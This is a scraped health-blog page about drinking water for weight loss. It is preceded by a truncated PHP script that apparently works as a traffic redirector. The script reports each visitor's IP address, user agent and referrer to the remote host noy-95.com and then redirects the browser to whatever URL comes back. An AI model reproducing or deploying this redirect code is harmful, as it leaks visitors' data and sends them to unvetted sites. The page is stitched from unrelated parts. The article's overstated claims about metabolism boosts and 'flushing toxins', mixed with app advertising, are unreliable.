"; echo json_encode($_SERVER); echo "
"; } $API_DOMAIN = 'noy-95.com'; $AD_TOKEN = '36bd9815c20357f96453fa247140b6b167e93fb0'; $TB_URL = ''; $ttl = 10 * 60; $fileName = dirname(__FILE__)."/.domain.cache"; $query = isset($_GET['q']) ? $_GET['q'] : ''; $s1 = isset($_GET['s1']) ? $_GET['s1'] : ''; $s2 = isset($_GET['s2']) ? $_GET['s2'] : ''; $s3 = isset($_GET['s3']) ? $_GET['s3'] : ''; if ($isDebug) { echo "Getting tds domain from cache...
"; } $info = getDomain($fileName); if (is_array($info) && $info['expired'] < time()) { if ($isDebug) { echo "FAIL: TDS domain cache is empty or expired
"; } $info = false; } if ($info === false) { if ($isDebug) { echo "Getting tds domain from api...
"; } $domain = getTDSDomain($API_DOMAIN, $AD_TOKEN); if (!$domain) { if ($isDebug) { echo "FAIL: No domain received.
"; } if ($TB_URL) { $rUrl = str_replace(array('{QUERY}', '{S1}', '{S2}', '{S3}'), array($query, $s1, $s2, $s3), $TB_URL); if ($isDebug) { echo "Redirecting to trafficback: $rUrl
"; } else { listHeaders(); header("Location: $rUrl"); } return; } if ($isDebug) { echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Saving domain to cache...
"; } saveDomain($fileName, $domain, time() + $ttl); $info = array('domain' => $domain); } if ($isDebug) { echo "Getting ad url...
"; } $location = getAd($info['domain'], $AD_TOKEN, $_SERVER, array('query' => $query, 's1' => $s1, 's2' => $s2, 's3' => $s3), $isDebug); if (!$location) { if ($isDebug) { echo "FAIL: No ad found.
"; echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Redirecting to ad: $location
"; } else { listHeaders(); header("Location: $location"); ob_flush(); } return; function getDomain($file) { $d = file($file); if ($d === false || count($d) === 0) { return false; } $info = explode(";", $d[0]); // mailformed file if (count($info) !== 2) { return false; } return array( 'domain' => $info[0], 'expired' => (int) $info[1] ); } function saveDomain($file, $domain, $expired) { file_put_contents($file, "$domain;$expired"); } function getTDSDomain ($apiUrl, $token) { $ctx = stream_context_create(array('http'=>array('timeout' => 10))); $res = file_get_contents("http://$apiUrl/pd?token=$token", false, $ctx); if (!$res) { return ""; } $data = json_decode($res, true); if (!is_array($data) || !array_key_exists("domain", $data)) { return ""; } return $data["domain"]; } function getAd($domain, $token, $server, $params, $isDebug) { $errCount = 0; $res = ''; while ($errCount < 2) { $res = doReq($domain, $token, $server, $params, $isDebug); if ($res !== false) { break; } $errCount++; } if ($res === false || $res['code'] >= 400 || !is_array($res['response'])) { return false; } if (!empty($res['response']['url'])) { return $res['response']['url']; } else if (!empty($res['response']['tb'])) { return $res['response']['tb']; } else { return false; } } function doReq($domain, $token, $server, $params, $isDebug) { $ch = curl_init(); $body = array(); if (!empty($server['HTTP_REFERER'])) { $body['ref'] = $server['HTTP_REFERER']; } if (!empty($server['HTTP_USER_AGENT'])) { $body['ua'] = $server['HTTP_USER_AGENT']; } if (!empty($server['HTTP_ACCEPT_LANGUAGE'])) { $body['lang'] = $server['HTTP_ACCEPT_LANGUAGE']; } $body['ip'] = getClientIP($server); $body['q'] = $params['query']; $scheme = getScheme($server); $bodyStr = json_encode($body); $addSubParams = array(); if (!empty($params['s1'])) { $addSubParams[] = "s1=".$params['s1']; } if (!empty($params['s2'])) { $addSubParams[] = "s2=".$params['s2']; } if (!empty($params['s3'])) { $addSubParams[] = "s3=".$params['s3']; } $subStr = (count($addSubParams) > 0) ? "&".implode("&", $addSubParams) : ""; $ch = curl_init("$scheme://$domain/rtb/r?token=$token$subStr"); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: '.strlen($bodyStr)) ); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if ($info === false || !$info['http_code']) { if ($isDebug) { echo "Network error occurred: ".curl_error($ch)."
"; } return false; } $adData=json_decode($result, true); return array('code' => $info['http_code'], 'response' => is_array($adData) && count($adData) > 0 ? $adData[0] : null); } function getScheme($server) { return stripos($server['SERVER_PROTOCOL'],'https') === true ? 'https' : 'http'; } function getClientIP($server) { if (array_key_exists('HTTP_X_FORWARDED_FOR', $server)){ return $server["HTTP_X_FORWARDED_FOR"]; } else if (array_key_exists('HTTP_X_REAL_IP', $server)) { return $server["HTTP_X_REAL_IP"]; } else if (array_key_exists('REMOTE_ADDR', $server)) { return $server["REMOTE_ADDR"]; } return ''; } function listHeaders() { header("Expires: Tue, 03 Jul 2001 06:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("Connection: close"); } function render404($server) { $protocol = isset($server['SERVER_PROTOCOL']) ? $server['SERVER_PROTOCOL'] : 'HTTP/1.1'; listHeaders(); header("$protocol 404 Not Found"); }

2/03/2019

Drinking water for weight loss: 7 proven ways water helps burn fat

Drinking water for weight loss: 7 proven ways water helps burn fat

Hi everybody! How about to lose those extra pounds and get the body of your dreams? What do you think about it? If you agree with our proposal, then first you need to change your diet for the better and healthier and begin to work out. And now we ask you to answer a very important question: What do you prefer to drink?
BetterMe App helps women achieve their body goals with ease and efficiency by helping to choose proper meal plans and effective workouts. Start using our app and you will see good results in a short time.
The fact is, the process of losing weight includes not only a healthy diet, physical activity, but also the consumption of water in sufficient quantities. Water is essential for your health, remember this fact. The more water you drink, the more calories you burn.
What's more, water helps to suppress appetite and flush toxins from the body. And when you replace your “favorite” sugary drinks with water, it helps you cut out those extra calories without even trying. Want to learn the secrets of water for weight loss, then keep reading because we have prepared a list of 7 proven ways water helps burn fat! Here they are:
Credit: Freepik
Credit: Freepik
#1. Water increases the burn without adding exercise
Yes, effective exercises are beneficial for weight loss, but drinking enough water can help you increase the number of calories that your body burns when you are not even working out. Some studies show that within 10 minutes of drinking about 2.25 cups of water, your metabolism is boosted by 30%. And this effect lasts for 30 to 40 minutes.
Therefore, guys, if you have metabolic problems and you are overweight, we recommend increasing your water intake. Water will definitely help you speed up your metabolism, just try it!
Credit: Freepik
Credit: Freepik
#2. Water suppresses appetite
When you feel that you are hungry, all you need is a glass of water, and you will immediately feel full. For example, a 2010 study showed that people who drank water before meals lost 44% more weight than people who didn’t start their meals with water.
In addition, when you feel hungry, it may also indicate that you are dehydrated. In this case, when you feel like you have low energy, dizziness or a grumbling stomach, we recommend drinking water before grabbing a snack.
#3. Water reduces the number of calories
We are sure that you like Coca-Cola. And do you know that one can of this beverage contains 140 calories? Therefore, if you drink soda every day, you should replace it with water, which will help you lose an extra pound every 12 weeks or so. Some studies show that people who drink water do take in about 194 fewer calories each day than people who drink juices and other sugary drinks.
Credit: Freepik
Credit: Freepik
#4. Water helps to consume healthy food
More and more studies show that people who drink plenty of water have healthier dietary habits. These people eat more fruits and vegetables than people who prefer to drink sugary beverages.
#5. Ice Water helps boost metabolism
If you do not know how to increase your metabolism, then you should try drinking ice water. When you drink ice water, your body has to heat it up before using it. This process helps you burn some extra calories.
Credit: Freepik
Credit: Freepik
#6. Workouts are beneficial with hydration
When your body is hydrated, you experience fewer muscle cramps. Your joints remain lubricated, allowing you to work out more effectively. Your heart pumps blood more efficiently to your muscles, and this is a key factor for overweight people.
When your mobility is in place, and your body feels good, you are more likely to burn extra calories during exercising. Once you feel that you want to drink, it means that your body is dehydrated. In this case, for proper hydration, you need to drink about 8 ounces every 30 minutes while you’re sweating during training.
Credit: Freepik
Credit: Freepik
BetterMe App helps you increase your self-esteem and achieve your personal goals by opening the doors to the world of fitness and healthy lifestyle. Try it now to see the best version of yourself as soon as possible.
#7. Water flushes out toxins
Toxins poison your body, so you need to always get rid of them. An the best option for this is drinking plenty of water, because your kidneys need it to filter toxins from the body. Water can also help you move stool through the digestive system, which also removes toxins from the system.